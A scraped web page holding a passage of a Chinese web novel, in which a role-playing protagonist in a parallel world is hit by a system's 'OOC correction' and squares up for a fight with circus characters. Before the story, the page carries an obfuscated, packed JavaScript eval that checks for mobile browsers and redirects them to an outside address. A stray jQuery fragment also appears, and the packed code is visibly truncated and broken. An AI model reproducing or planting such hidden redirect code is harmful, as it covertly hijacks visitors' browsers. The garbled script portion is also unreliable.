;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343047|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个世界怎么回事?夜生和竹节虫都集齐了。那望舒呢,顾森呢,会不会也在这个世界?那这个世界会不会还有一个她?
光明继而思索:可竹节虫也像是没见过她一般。所以,这是个平行世界?
还没来得及细想,便听那人拍着清脆的掌,高喊:“来来来啊!大家都快过来,看看谁来啦!”四周的人投来视线,细碎的议论声如潮涌来,光明摸不清这人的意图,便暂时没说话。
“霍!罗威尔!”不知从哪里又走来一人,这人长得像土豆,又矮又圆。
“有事?”光明挑眉回答。
那竹节虫瞪大双眼,难以置信,指着光明说:“哈,哈哈,不是某个人说自己一辈子也不会来马戏团的吗?”
要质问就质问,傻笑什么?光明翻了个白眼。
圆土豆弹了一下:“嘻,笑死我啦!我们的罗威尔王子……咦,咋是个长头发?”
【叮——】
【OOC检测。人物OOC,自动修正中……】
脑中刚闪过这句话,光明的头发唰然落下,长发变短发。
冰冷的播报音无情地说:【修正完成】
“哦,看错了。”圆土豆嘟嘟嘴,淡淡地评价了句。他垂着个胖脸挑衅,脚尖傲慢地不停点地,身上层层肥肉上下晃动,他继续挑衅着,“我们尊贵的罗威尔殿下啊,你的异能长出来了吗?”
有风轻浮,光明感觉自己的后颈浸着凉风,她拧着眉,呼吸急促起来。长发没了。就他爹的因为一句话,一个ooc。
这系统疯了吗。
做自己难道是错吗?她是扮演罗威尔,而非就是罗威尔。
四周逐渐围来更多人,挤压着光明的空间,嘈杂的声音一句接着一句传进耳朵,光明没听见,只静静地盯着那圆土豆。
光明从前经常会在巷子里翻垃圾,那附近总是有许多伺机而动、殷切而渴望的视线。她从不主动挑事,可无奈总是被迫被挑衅,但也只在自己认为生命受到威胁的时候才会挥拳,毕竟在她看来大家都是苦命人一个,何必为难来为难去的。
但光明此刻目光狠戾,她很愤怒,这几天积累的压力就要一触即发,她很想找人打一架,不讲究什么前因后果,就当是因为头发吧。在一息后光明忽视人群,打掉红红拦住她的手,径直朝着圆土豆走去,压着眉说:“怎么,你很想试试吗?”
圆土豆被光明的眼神惊到,他从来没有见过罗威尔这么凶狠的样子,但又拉不下脸道歉,只能边说边退到竹节虫身后:“试、试试就试试,你很厉害吗?”
竹节虫神色一凝,浅声对圆土豆说:“你是傻的吗,我们不是在和他说马戏团的事吗?你在干嘛!”
圆土豆躲在竹节虫身后猛然点脚,急慌慌地就要哭出声来,听到这句话后,猛地一拍脑袋,拍疼了又“嘶”地呼出声来,抬着手揉揉,随后颤着声音惊呼道:“对啊!我忘记了!”
竹节虫没功夫听他废话,把圆土豆往旁边扯,直视着光明说:“他不是故意的。”
光明不在乎,冷眼扫过两人,视线落在竹节虫身上:“你来?”
竹节虫皱着眉,眼神仿佛在确认光明是否真的要这么做,他得到了一个坚定的答案,抬脚往前迈了一步:“我来。”